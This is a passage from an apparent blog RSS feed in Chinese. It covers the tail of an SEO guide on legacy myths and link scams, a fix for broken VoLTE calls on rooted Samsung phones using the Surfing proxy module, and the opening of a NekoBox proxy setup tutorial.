&lt;li&gt;内容虽然全面，但呈现方式很差（比如就是一个巨大的、无法搜索和筛选的HTML表格）&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优化页面体验&lt;/strong&gt;：为这个曲目列表加入&lt;strong&gt;客户端搜索、排序和筛选&lt;/strong&gt;功能。让用户可以按难度、按版本、按作曲家（比如xi）快速找到他们想要的曲子&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提升加载速度&lt;/strong&gt;：如果列表包含大量图片（封面），确保它们都经过压缩并使用了懒加载
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::yellow[实战分析 II]
追踪转化，找到你的现金牛&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;你需要先在GA4中设置“&lt;strong&gt;转化 (Conversions)&lt;/strong&gt;”。转化不一定是指金钱交易。对于博客，一个转化可以定义为“&lt;strong&gt;用户成功复制代码块&lt;/strong&gt;”、“&lt;strong&gt;用户下载了你的OpenWrt配置文件&lt;/strong&gt;”或“&lt;strong&gt;用户在教程页面停留超过5分钟&lt;/strong&gt;”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;：流量获取 &amp;gt; &lt;strong&gt;流量获取 (Traffic acquisition)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;数据解读&lt;/strong&gt;：查看报告，将主要维度设置为“&lt;strong&gt;着陆页 (Landing Page)&lt;/strong&gt;”，并查看每个着陆页带来的“&lt;strong&gt;转化次数&lt;/strong&gt;”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;发现案例&lt;/strong&gt;：你发现你的《Arch Linux安装后十大必装软件》这篇文章，带来的“复制代码块”转化次数遥遥领先，远超其他文章&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;诊断&lt;/strong&gt;：这篇文章精准地抓住了用户的&lt;strong&gt;行动意图&lt;/strong&gt;。用户看完这篇文章后，会立刻动手操作。这是一篇极具价值的行动指南&lt;s&gt;抄作业&lt;/s&gt;型内容&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;围绕这个成功模式，创作更多类似的内容。比如 &lt;em&gt;Arch Linux下最佳的5款终端模拟器配置&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;流将这篇高转化文章，放在你网站更显眼的位置（如首页推荐），并从其他文章中多链接到它
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;16. 历史遗留问题说明&lt;/h2&gt;
&lt;h3&gt;16.1 &lt;code&gt;meta name=&quot;keywords&quot;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;这是一个曾位于HTML &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;区域的元标签，允许网站管理员主动告诉搜索引擎，这个页面与哪些关键词相关&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        &amp;lt;meta name=&quot;keywords&quot; content=&quot;舞萌DX, maimai DX, 谱面, 攻略, xi, 白系&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在搜索引擎的蛮荒时代，算法还无法精准地通过分析页面内容来判断其主题。因此，它需要网站管理员提供这样一份自我介绍&lt;/p&gt;
&lt;p&gt;但这个标签的设计存在一个致命缺陷：它完全依赖于网站管理员的&lt;strong&gt;诚信&lt;/strong&gt;。很快，黑帽SEO们开始疯狂地滥用它，在其中堆砌大量热门但&lt;strong&gt;不相关的关键词&lt;/strong&gt;来骗取流量（比如在一个Arch Linux教程页面里加入免费电影下载）&lt;/p&gt;
&lt;p&gt;这种行为严重污染了搜索结果，导致用户体验急剧下降。为了自救，搜索引擎被迫进行算法革命，学会了&lt;strong&gt;依靠自己的能力去理解内容&lt;/strong&gt;，而不是轻信网站的自白&lt;/p&gt;
&lt;p&gt;这是防君子不防小人的典型案例&lt;/p&gt;
&lt;p&gt;:::yellow[死刑宣判]
&lt;strong&gt;Google在2009年就已公开宣布，在排名算法中完全忽略&lt;code&gt;meta name=&quot;keywords&quot;&lt;/code&gt;标签&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bing等其他主流搜索引擎也已明确表示，这个标签几乎没有任何价值
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对于新站长，完全不必要使用这个标签&lt;/li&gt;
&lt;li&gt;对于老站长，如果你的网站还留有这个标签，也不需要浪费时间去删除它。它无益也基本无害。就让它安靜地躺在那里，作为互联网发展史的一块化石吧&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这就是为什么，全篇下来我没有提到meta keyword的任何事情，如果一篇2025年的SEO教程还在教你如何优化&lt;code&gt;meta keywords&lt;/code&gt;，&lt;strong&gt;你可以释怀地笑了&lt;/strong&gt;，作者知识体系至少落后了15年&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;16.2 传统PageRank评分&lt;/h3&gt;
&lt;p&gt;这是一个曾经在Google工具栏上显示的，从0到10的整数评分，用来表示一个网页的链接权威性&lt;/p&gt;
&lt;p&gt;在长达十多年的时间里，PR值是整个SEO行业最直观、最可量化的权威性指标，直接催生了庞大的链接交易市场&lt;/p&gt;
&lt;p&gt;为何暴死?
(我们在3.3节已经详细拆解了)它的&lt;strong&gt;公开性&lt;/strong&gt;导致了大规模的算法操纵，破坏了搜索生态的公平性&lt;/p&gt;
&lt;p&gt;:::yellow[死刑宣判]
2013年，PageRank被隐藏
2016年，被Google彻底移除
:::&lt;/p&gt;
&lt;p&gt;任何声称可以查询你网站“PR值”的第三方工具，显示的都是毫无意义的、过时的数据，或者是一个他们自己发明的、与Google无关的指标（如Ahrefs的DR, Moz的DA）&lt;/p&gt;
&lt;p&gt;忘掉PR值这个概念吧，不要再问我的网站PR值是多少了&lt;br /&gt;
将你的精力投入到获取&lt;strong&gt;主题相关、上下文合理、能带来真实流量&lt;/strong&gt;的高质量链接上，而不是去追求一个早已不存在的虚幻分数，这才是现代的Rank&lt;/p&gt;
&lt;h4&gt;16.3 其他历史遗留观念&lt;/h4&gt;
&lt;h5&gt;16.3.1 “关键词密度必须达到X%”&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;过去，一些人认为页面中某个关键词的占比（如2-5%）是影响排名的关键&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是一个极其过时的观念。现代搜索引擎使用BM25和NLP模型，更关注关键词的&lt;strong&gt;位置&lt;/strong&gt;（标题、H1）、&lt;strong&gt;上下文&lt;/strong&gt;、&lt;strong&gt;同义词&lt;/strong&gt;和&lt;strong&gt;语义相关性&lt;/strong&gt;。自然地写作，让关键词和相关主题词合理地出现在它们应该出现的地方即可。&lt;strong&gt;刻意追求某个密度，只会让你的文章变得语句不通，反而有害&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;16.3.2 “域名年龄越老越好”&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;过去人们普遍认为老域名有排名优势。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Google的John Mueller已多次澄清，&lt;strong&gt;域名年龄本身不是一个排名因素&lt;/strong&gt;。老域名之所以看起来有优势，是因为它们有更长的时间去&lt;strong&gt;积累内容和高质量的外链&lt;/strong&gt;。一个全新的域名，如果能快速地构建出卓越的内容和权威性，完全可以超越一个内容停滞多年的老域名。&lt;strong&gt;重要的是域名的历史记录，而非年龄本身&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;17. SEO anti&lt;/h2&gt;
&lt;h3&gt;17.1 付费外链&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;骗子话术一般为
“我们手上有数千个高权重网站资源，可以为你发布带有链接的文章”
“只需XXX元，即可获得一条来自DA 50+（或其他自创指标）网站的dofollow外链”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;解构一下就是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Private Blog Network&lt;/strong&gt;：这是最常见的一种。骗子们会去购买一堆过期但曾经有过一点权重的域名，然后用模板化的程序快速建立大量看起来“正常”的博客。这些博客的存在只有一个目的——出售链接。它们内容质量低下、主题混乱、互相链接，形成一个虚假的“权重网络”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;被黑的网站&lt;/strong&gt;：更恶劣的情况是，他们利用漏洞黑进一些正常的网站，然后在这些网站上偷偷地添加指向客户的链接&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;低质量的客座博客&lt;/strong&gt;：他们会在一些允许任何人付费发布文章的低质量新闻源或博客上，发布一篇由AI生成的、语句不通的垃圾文章，并在其中插入你的链接&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[Google如何把它们送上绞刑架]
Google的反作弊团队拥有极其复杂的算法和人工审核流程来识别这些非自然链接&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Link Graph Analysis&lt;/strong&gt;：Google能分析整个互联网的链接拓扑。PBN网络中的网站，其链接模式通常极不自然（比如，只出链不入链，或者只在特定的小圈子里互相链接），很容易被算法识别为链接农场&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;锚文本滥用检测&lt;/strong&gt;：如果一个新网站在短时间内，突然获得了大量指向它的、锚文本完全相同的（比如都是“OpenWrt路由器推荐”）外链，这是一个极其危险的信号。自然的链接，其锚文本应该是多样化的&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;网站质量评估&lt;/strong&gt;：Google会评估发布链接的网站本身的质量。一个正常的网站，其内容应该是有主题、有规律更新、有真实用户访问的。而PBN上的网站，通常内容杂乱、更新停滞、没有任何自然流量&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;人工举报与审核&lt;/strong&gt;：你的竞争对手，或者任何一个懂SEO的人，都可以通过Google的“&lt;strong&gt;举报付费链接&lt;/strong&gt;”工具，将可疑的链接交易报告给Google&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;一旦Google的算法或人工审核员确认你的网站参与了大规模的链接操纵，你的Google Search Console就会收到一条“&lt;strong&gt;不自然的外部链接&lt;/strong&gt;”手动操作惩罚通知&lt;/li&gt;
&lt;li&gt;你的网站排名会&lt;strong&gt;断崖式下跌&lt;/strong&gt;，甚至&lt;strong&gt;从Google的索引中被彻底移除&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;你需要手动找出所有购买的垃圾链接，联系对方站长请求移除（通常会被忽略或勒索），然后使用GSC的“&lt;strong&gt;Disavow Tool（拒绝链接工具）&lt;/strong&gt;”向Google提交一份你不承认的垃圾链接列表，并写一份Reconsideration Request，请求Google的原谅。整个过程可能持续数月，且&lt;strong&gt;不保证成功&lt;/strong&gt;
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;各位站长最好也放下投机的念头，酒香不怕巷子深。回顾前文，真正的权威性，来自于&lt;strong&gt;创作出值得被链接的“可链接资产”&lt;/strong&gt;，通过&lt;strong&gt;数字公关&lt;/strong&gt;和&lt;strong&gt;社群贡献&lt;/strong&gt;，让高质量的链接&lt;strong&gt;自然地&lt;/strong&gt;发生。这很难，很慢，但这才是唯一正确的、可持续的道路&lt;/p&gt;
&lt;h3&gt;17.2 关键词堆砌&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;骗子话术&lt;/strong&gt;：“你的页面关键词密度不够，我们需要帮你优化到5%”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如我们在第十六章所述，这是一个石器时代的观念。现代NLP算法会认为这是在&lt;strong&gt;降低内容可读性&lt;/strong&gt;，反而可能给予负面评价&lt;/p&gt;
&lt;h3&gt;17.3 “提交到XXX个搜索引擎”服务&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;骗子话术&lt;/strong&gt;：“我们能把你的网站一次性提交到全球500个搜索引擎”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;99.99%的搜索流量来自Google, Bing, 百度等少数几个巨头。这些巨头&lt;strong&gt;不需要你手动提交&lt;/strong&gt;，它们的爬虫会自动发现你的网站。这项服务提交的，是几百个你从未听说过的、毫无流量的垃圾搜索引擎，&lt;strong&gt;纯属心理安慰，毫无价值&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;17.4 购买社交媒体信号&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;骗子话术&lt;/strong&gt;：“购买10000个Twitter转发，能提升你的SEO排名”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Google已明确表示，社交媒体上的“点赞”、“分享”数量&lt;strong&gt;不是直接的排名因素&lt;/strong&gt;。虽然广泛的社交分享可能带来间接好处（如品牌曝光、引流，从而可能带来自然外链），但购买虚假的、来自机器人账号的信号是完全无效的，只会被算法轻易识破&lt;/p&gt;
&lt;h2&gt;18. 结语&lt;/h2&gt;
&lt;p&gt;本文的目的很简单，让每一个现代站长，都能理解&lt;strong&gt;现代&lt;/strong&gt;搜索引擎和SEO，我一直强调的都是&lt;strong&gt;现代&lt;/strong&gt;。我在各大论坛看到的很多关于SEO的优化都充斥着毫无意义的洗稿，现在已经是2025年了，仍有自称SEO专家还在教堆砌关键词、外链购买等操作，此篇文章就是为了极其锐利地打烂他们所谓专家的脸面&lt;/p&gt;
&lt;p&gt;本篇与《现代搜索引擎深度解析：从原理、算法到高效检索实践》是互补的关系，强烈建议您了解前作，&lt;a href=&quot;/2025/11/02/modernSearchEngine/&quot;&gt;&amp;gt;点击跳转&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;毕竟是个人编写，精力有限，欢迎指出错误。转载请标明出处，感激不尽&lt;/p&gt;
</content:encoded><category>搜索引擎</category><category>SEO</category><author>Chongxi</author></item><item><title>三星/安卓使用透明代理模块(Surfing)无法拨打电话的解决方案</title><link>https://xice.cx/posts/SurfingIssueOnSamsung/</link><guid isPermaLink="true">https://xice.cx/posts/SurfingIssueOnSamsung/</guid><description>本文提供了三星及其他Android手机，在刷入Surfing等透明代理模块后无法正常拨打电话或收发短信的两种核心解决方案，排除包名，开启Tproxy</description><pubDate>Sat, 08 Nov 2025 00:10:04 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;相信各位折腾root情况下透明代理模块时，都可能会遇到一个非常棘手的问题：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;手机网络数据一切正常，但无法拨打或接听电话，短信收发也出现异常&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一反应可能是信号问题，但通常会发现信号是满格的。这其实是一个由代理软件和系统底层VoLTE服务冲突导致的典型问题。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 问题分析&lt;/h2&gt;
&lt;p&gt;现在的HD通话是这样实现的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在LTE/NR网络下，通话和短信并非通过传统电路，而是依赖于&lt;code&gt;IMS&lt;/code&gt;服务，我们熟知的&lt;code&gt;VoLTE&lt;/code&gt;就是其最常见的应用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;IMS服务&lt;/code&gt;本身也是通过&lt;code&gt;IP数据包&lt;/code&gt;与运营商的核心网络进行通信的。而&lt;code&gt;Surfing&lt;/code&gt;这类透明代理模块，为了实现全局代理，其默认的&lt;code&gt;TUN 模式&lt;/code&gt;会在系统层面创建一个虚拟网卡，&lt;strong&gt;强制接管设备上几乎所有的网络流量&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;当&lt;code&gt;VoLTE/IMS&lt;/code&gt;的信令流量也被这个虚拟网卡接管后，这些对延迟和路由极为敏感的数据包被错误地进行了&lt;code&gt;代理、重定向或分流&lt;/code&gt;，就会导致&lt;code&gt;IMS服务注册失败或频繁掉线&lt;/code&gt;使电话无法正常拨打&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不是信号问题，而是VoLTE信令被透明代理劫持了&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 解决方案&lt;/h2&gt;
&lt;p&gt;本质上就是让通话相关的核心服务流量，绕过透明代理，直接与运营商网络通信&lt;/p&gt;
&lt;p&gt;:::red[注意缩进!]
yaml对缩进有非常非常极端的要求，少一个空格多一个空格都会导致整个炸锅，敢多space他就敢跟你爆了
:::&lt;/p&gt;
&lt;h3&gt;2.1 方案一 Samsung用户优先尝试&lt;/h3&gt;
&lt;p&gt;这是最简单直接的方法，让代理排除受影响的App&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;需要排除的包名列表 (主要针对三星 OneUI):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;com.qti.qcc                  # 高通IMS/VoLTE 调度核心
com.sec.imsservice           # 三星IMS服务(VoLTE/VoWiFi)
com.sec.epdg                 # VoWiFi ePDG隧道服务
com.samsung.android.messaging        # 系统官方短信
com.samsung.android.dialer           # 拨号器
com.samsung.android.incallui         # 通话界面
com.samsung.android.app.telephonyui  # 通话UI资源
com.samsung.android.smartcallprovider # 来电识别
com.samsung.android.intellivoiceservice # 智能语音降噪
com.android.settings
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;（注：非三星手机可根据自身情况，尝试排除 &lt;code&gt;com.android.imsservice&lt;/code&gt; 等原生IMS服务包名）&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;2.1.1 操作流程(以surfing为例)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用 MT管理器 等工具，打开 Clash 配置文件，路径通常为：&lt;code&gt;/data/adb/modules/box4magisk/config.yaml&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;找到 &lt;code&gt;tun:&lt;/code&gt; -&amp;gt; &lt;code&gt;exclude-package:&lt;/code&gt; 部分（约是137~146行)&lt;/li&gt;
&lt;li&gt;取消这些包名前面的 &lt;code&gt;#&lt;/code&gt; 注释，如下图所示&lt;/li&gt;
&lt;li&gt;保存配置文件，然后&lt;strong&gt;重启&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./SurfingIssueOnSamsung/example.webp&quot; alt=&quot;example.webp&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;此方法对大部分三星手机有效。如果操作后问题依旧，或者您的手机并非三星也遇到了类似问题，请直接尝试方案二&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.2 方案二：切换至 Tproxy&lt;/h3&gt;
&lt;p&gt;如果方案一无效，或者您想追求一个更稳定、更彻底的解决方案，那么将代理模式从 &lt;code&gt;TUN&lt;/code&gt; 切换到 &lt;code&gt;Tproxy&lt;/code&gt; 是最佳选择，这绝对是最通用的方案&lt;/p&gt;
&lt;h4&gt;2.2.1 为什么是Tproxy？&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TUN&lt;/code&gt; 模式是应用层逻辑，可以当作全盘接管，排除法有时不够彻底，&lt;em&gt;不严谨的话，可以理解为VPN那种全盘接管&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Tproxy&lt;/code&gt; 模式配合 &lt;code&gt;iptables&lt;/code&gt; 在更底层的内核层面工作，可以实现更精确的流量控制。模块通常会预设好规则，&lt;strong&gt;从一开始就绕过系统内部和运营商的通信流量&lt;/strong&gt;，只代理用户App的流量，从根源上避免了冲突&lt;/li&gt;
&lt;li&gt;更何况，Surfing用的是Mihomo内核，真想玩TUN建议使用sing-box，后者在TUN做的优化更好，可以说是代理业界天花板&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.2.2 具体操作&lt;/h4&gt;
&lt;p&gt;修改Clash配置文件，启用Tproxy监听&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;打开 &lt;code&gt;/data/adb/modules/box4magisk/config.yaml&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;关闭TUN&lt;pre&gt;&lt;code&gt;tun:
  enable: false  #把这里改成false
  # ... 其他设置保持不变
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;启用Tproxy 在TUN和DNS模块中间增加以下内容&lt;pre&gt;&lt;code&gt;tproxy:
  enable: true
  port: 1536 # 注意：此端口号必须与 tproxy-port 和模块脚本使用的端口一致，Surfing默认1536，视你的配置跟随变动，端口在文件顶部的`tproxy-port`
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;重启&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;3. 结&lt;/h3&gt;
&lt;p&gt;本篇主要是提供具体的解决方案，关于这部分的代理知识后续可以单独分篇来讲（又挖坑）&lt;/p&gt;
</content:encoded><category>Samsung</category><category>OneUI</category><category>VoLTE</category><category>Proxy</category><category>Magisk</category><category>Surfing</category><category>Tproxy</category><author>Chongxi</author></item><item><title>Nekobox超简单入门指南</title><link>https://xice.cx/posts/nekobox/</link><guid isPermaLink="true">https://xice.cx/posts/nekobox/</guid><description>本文非常详尽介绍了Nekobox的从入门到自定义高级配置教程</description><pubDate>Wed, 05 Nov 2025 14:22:52 GMT</pubDate><content:encoded>&lt;p&gt;:::red[CAUTION]
本文旨在提供技术知识与软件使用方法的交流与学习，所涉及的工具与配置方法仅用于法律许可的正当用途，包括但不限于网络安全研究、数据加密通信、访问公开学术资源等。&lt;/p&gt;
&lt;p&gt;使用者应对自身行为负全部责任。请确保在使用相关技术时遵守所在国家/地区的法律法规。任何利用本文所述技术从事违法活动的行为，均与本文作者无关。&lt;/p&gt;
&lt;p&gt;技术本身并无善恶，关键在于使用者的意图与方式。正如教授化学知识不必为制毒承担责任，传授编程技术不必为编写恶意软件负责，本文仅止于技术探讨的边界。
:::&lt;/p&gt;
&lt;h2&gt;0. 前言&lt;/h2&gt;
&lt;p&gt;NekoBox for Android 是一个基于 &lt;code&gt;sing-box&lt;/code&gt; 核心的通用代理工具。本文将教你精通Nekobox的使用，高度定制分流规则&lt;/p&gt;
&lt;h3&gt;0.1 为什么选择Nekobox？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;搭载目前最先进的 &lt;code&gt;sing-box&lt;/code&gt; 核心，支持包括 Reality 在内的所有最新最热协议&lt;/li&gt;
&lt;li&gt;提供精细到单个应用、单个域名、单个 IP 的流量路由规则&lt;/li&gt;
&lt;li&gt;完全开源，杜绝任何可能的隐私泄露&lt;br /&gt;
&lt;em&gt;当然，不保证代理服务器是安全的&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0.2 SagerNet和Nekobox&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SagerNet&lt;/code&gt; 是旧时代的多协议代理客户端，已停更归档&lt;br /&gt;
&lt;code&gt;NekoBox&lt;/code&gt; 是它的现代继承者，目前最强大的Android代理客户端&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Nekobox基础配置&lt;/h2&gt;
&lt;h3&gt;1.1 下载与安装&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/MatsuriDayo/NekoBoxForAndroid/releases&quot;&gt;下载链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;:::blue[Tips]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;下载 &lt;code&gt;arm64-v8a&lt;/code&gt; 版本的 &lt;code&gt;.apk&lt;/code&gt; 文件&lt;/li&gt;
&lt;li&gt;首次启用需要添加VPN配置(点击允许即可)&lt;/li&gt;
&lt;li&gt;建议将 App 加入&lt;strong&gt;电池优化白名单&lt;/strong&gt;，防止后台被系统清理
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 导入配置&lt;/h3&gt;
&lt;h3&gt;机场用户配置指南&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;打开左上角侧边栏&lt;/li&gt;
&lt;li&gt;点击「分组」&lt;/li&gt;
&lt;li&gt;点击页面右上角进入分组设置&lt;/li&gt;
&lt;li&gt;&lt;code&gt;分组名&lt;/code&gt;随意填写，&lt;code&gt;分组类型&lt;/code&gt;更改为&lt;code&gt;订阅&lt;/code&gt;，在&lt;code&gt;订阅链接&lt;/code&gt;中填写您机场给出的代理订阅URL。&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;推荐开启最下方的&lt;code&gt;自动更新&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;selector&lt;/code&gt;视情况而定&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;点击右上角即可保存&lt;/li&gt;
&lt;li&gt;返回主页选择节点启用即可&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./nekobox/1.jpg&quot; alt=&quot;机场填写示例&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;单个节点导入&lt;/h3&gt;
&lt;p&gt;点击主页右上角，导入配置&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;方法一：从剪贴板导入&lt;br /&gt;
示例配置URL&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;trojan://114514@xice.cx:1080/?type=tcp&amp;amp;security=tls#%E7%A4%BA%E4%BE%8B
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;方法二：扫描二维码
图例
&lt;img src=&quot;./nekobox/qr.jpg&quot; alt=&quot;qrcode&quot; /&gt;&lt;/li&gt;
&lt;li&gt;方法三：手动填写各项参数&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2. VPN &amp;amp; 仅代理怎么选择？&lt;/h2&gt;
&lt;p&gt;在Nekobox的设置选项中，您可以看到模式选择，接下来我们简单了解一下他们的工作实现&lt;/p&gt;
&lt;h3&gt;2.1 VPN 模式&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;工作原理：&lt;/strong&gt; 此模式会启用 Android 系统的 &lt;code&gt;VpnService&lt;/code&gt; API，创建一个虚拟网络通道。    系统会&lt;strong&gt;自动将绝大多数 App 的流量转发到这个通道&lt;/strong&gt;，从而交由 NekoBox 处理。&lt;/p&gt;
&lt;p&gt;:::green[注意]
通常情况下，您只需要选择该模式即可
:::&lt;/p&gt;
&lt;h3&gt;2.2 仅代理模式&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;工作原理：&lt;/strong&gt; 此模式&lt;strong&gt;不会创建 VPN 通道&lt;/strong&gt;。它只会在你的手机上启动一个本地的 SOCKS5 和 HTTP 代理服务器。手机上的 App &lt;strong&gt;不会自动&lt;/strong&gt;使用这个代理。
以下场景才会用到该模式&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;局域网共享：&lt;/strong&gt; 在「设置」中开启“允许来自局域网的连接”，其他设备（如电脑）可以手动设置代理，地址为你手机的局域网 IP，端口在 NekoBox 的代理设置中查看&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特定应用手动代理：&lt;/strong&gt; 某些特殊应用（如 Termux、Firefox）支持手动设置代理服务器，你可以将它们指向 NekoBox 启动的本地代理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开发者调试时使用&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::red[CAUTION]
除非你明确知道自己要做什么，否则&lt;strong&gt;不要&lt;/strong&gt;选择此模式，这可能会导致你无法正常使用
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 设置内容配置&lt;/h2&gt;
&lt;h3&gt;3.1 软件设置&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;自动连接&lt;/code&gt;：启动时自动连接代理服务器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;运行模式&lt;/code&gt;：本文 2.0 部分提到的两种模式，正常情况下选择&lt;code&gt;VPN&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TUN实现&lt;/code&gt;：TUN共有三种模式，&lt;code&gt;system&lt;/code&gt;,&lt;code&gt;gvisor&lt;/code&gt;,&lt;code&gt;mixed&lt;/code&gt;。默认&lt;code&gt;gvisor&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果您对TUN运作感兴趣，推荐阅读此文章的TUN部分详解&lt;a href=&quot;/2025/08/26/boxForMagisk/&quot;&gt;文章链接&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MTU&lt;/code&gt;：不建议随意更改，维持默认&lt;/li&gt;
&lt;li&gt;&lt;code&gt;唤醒锁&lt;/code&gt;：开启后会维持开启状态，但是会增加耗电&lt;/li&gt;
&lt;li&gt;&lt;code&gt;自定义配置&lt;/code&gt;：参见Nekobox官方文档(文末附录)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 路由设置&lt;/h3&gt;
&lt;p&gt;:::yellow[分应用代理]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;关闭&lt;/code&gt;：不启用分应用代理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
